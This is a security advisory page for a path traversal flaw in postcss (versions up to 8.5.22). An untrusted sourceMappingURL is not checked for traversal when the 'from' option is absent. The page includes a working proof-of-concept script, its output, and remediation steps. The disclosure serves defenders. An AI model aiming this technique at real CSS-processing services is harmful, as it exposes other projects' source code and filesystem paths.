GHSA-fxqj-rqcc-2cmp: Path Traversal

Published Aug 3, 2026
·
Updated

Summary

The fix for GHSA-6g55-p6wh-862q added a guard in lib/previous-map.js PreviousMap.loadFile() that restricts an attacker-controlled sourceMappingURL (from a CSS comment) to a .map extension and, for untrusted maps, rejects .. traversal and absolute paths. The traversal/absolute rejection is nested inside if (cssFile) { ... }. When PostCSS is invoked without the from option, cssFile is falsy and that branch is skipped, leaving only the .map extension check.

PreviousMap is constructed by lib/input.js whenever pathAvailable && sourceMapAvailable (under Node with source-map available), independent of opts.from/opts.map (the constructor returns early only for opts.map === false). So postcss([]).process(css) on attacker CSS reaches loadFile with cssFile undefined, and an attacker /# sourceMappingURL=/abs/path/x.map / (or ../-traversing path) is read via readFileSync. When the file is valid JSON, its sources (filesystem paths) and sourcesContent (source contents) are disclosed in the generated source map.

Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix)

js // lib/previous-map.js loadFile(path, cssFile, trusted) { if (!trusted && !this.unsafeMap) { if (!/\.map$/i.test(path)) { return undefined } if (cssFile) { // guard runs ONLY when from is set let relativePath = relative(dirname(cssFile), path) if (relativePath === '..' || relativePath.startsWith('..' + sep) || isAbsolute(relativePath)) { return undefined } } } this.root = dirname(path) if (existsSync(path)) { this.mapFile = path return readFileSync(path, 'utf-8').toString().trim() // sink } }

// loadMap(): untrusted annotation path, trusted=false; file === opts.from } else if (this.annotation) { let map = this.annotation if (file) map = join(dirname(file), map) // no from -> map stays the raw URL let unknown = this.loadFile(map, file, false) // file undefined -> cssFile falsy

Proof of concept (verified on postcss 8.5.22)

js const postcss = require('postcss') const fs = require('fs')

// a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map) const secret = '/tmp/pcpoc/secretoutoftree.map' fs.writeFileSync(secret, JSON.stringify({ version: 3, sources: ['/etc/REALPATHLEAK'], mappings: '', names: [], sourcesContent: ['TOPSECRETabcdef'] }))

const css = 'a{color:red}\n/# sourceMappingURL=' + secret + ' /' const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOPSECRETabcdef')

;(async () => { // A) NO from -> guard skipped -> arbitrary absolute .map read + disclosed const a = await postcss([]).process(css, { map: true }) console.log('no from -> leaked:', !!leaks(a.map)) // true

// B) WITH from -> guard active -> blocked const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true }) console.log('with from -> leaked:', !!leaks(b.map)) // false })()

Observed output on postcss 8.5.22:

no from -> leaked: true # sourcesContent 'TOPSECRETabcdef' AND sources '/etc/REALPATHLEAK' appear in result.map with from -> leaked: false # guard rejects the absolute path

../ traversal (no from) also succeeds; non-.map targets (.txt, ?x=.map, #.map) are blocked by the .map check. The tested build contains the GHSA-6g55 fix (this.json = JSON.parse(...) in loadMap, consumer() uses this.json || this.text), so this is a residual of that fix.

Impact

Arbitrary .map-file read (absolute path or ../ traversal) and disclosure of the target map's sources (local filesystem paths) and sourcesContent (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a from option and exposes result.map (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in .map that parse as JSON.

Suggested fix

Apply the traversal/absolute-path rejection to the untrusted map path regardless of whether cssFile is present (resolve against process.cwd() when there is no cssFile, and reject absolute paths and .. escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known.

Affected Software

1 affected componentFixes available
npm/postcss<=8.5.22
8.5.23

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/postcss to a version that resolves this vulnerability.

    Fixed in 8.5.23
  2. Upgrade

    Upgrade postcss to a version that resolves this vulnerability.

    Fixed in 8.5.22Patch GHSA-6g55-p6wh-862q
  3. Configuration

    Modify PreviousMap.loadFile() so the absolute-path and '..' escape checks for the attacker-controlled sourceMappingURL are enforced in all untrusted cases, not only inside `if (cssFile) { ... }`.

    postcss (lib/previous-map.js / PreviousMap.loadFile) Untrusted sourceMappingURL path handling = Reject absolute paths and '..' traversal for untrusted maps; apply traversal/absolute-path rejection regardless of whether cssFile is present (resolve against process.cwd() when there is no cssFile), or refuse to load an untrusted external map when no base file is known
  4. Configuration

    Ensure the guard continues to restrict loaded external maps to paths whose target ends in `.map` (e.g., `.map`/`path ends with .map`), and do not allow alternative query/hash forms when rejecting absolute/path traversal.

    postcss (sourceMappingURL parsing) .map extension allowlist for external maps = Require target to end with .map (case-insensitive)

Event History

Aug 3, 2026
Advisory Published
via GitHub·05:11 PM
Data Sourced
via GitHub·05:11 PM
DescriptionWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of GHSA-fxqj-rqcc-2cmp?

The severity of GHSA-fxqj-rqcc-2cmp is rated risk 45.

2

How do I fix GHSA-fxqj-rqcc-2cmp?

To fix GHSA-fxqj-rqcc-2cmp, ensure you are using the latest version of the postcss package that includes the security updates.

3

What type of vulnerabilities does GHSA-fxqj-rqcc-2cmp address?

GHSA-fxqj-rqcc-2cmp addresses path traversal and information leakage vulnerabilities.

4

In which software is GHSA-fxqj-rqcc-2cmp applicable?

GHSA-fxqj-rqcc-2cmp is applicable to npm/postcss software.

5

What changes were made in the fix for GHSA-fxqj-rqcc-2cmp?

The fix for GHSA-fxqj-rqcc-2cmp added checks to restrict attackers from manipulating the 'sourceMappingURL' to perform path traversal or access files outside of intended directories.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203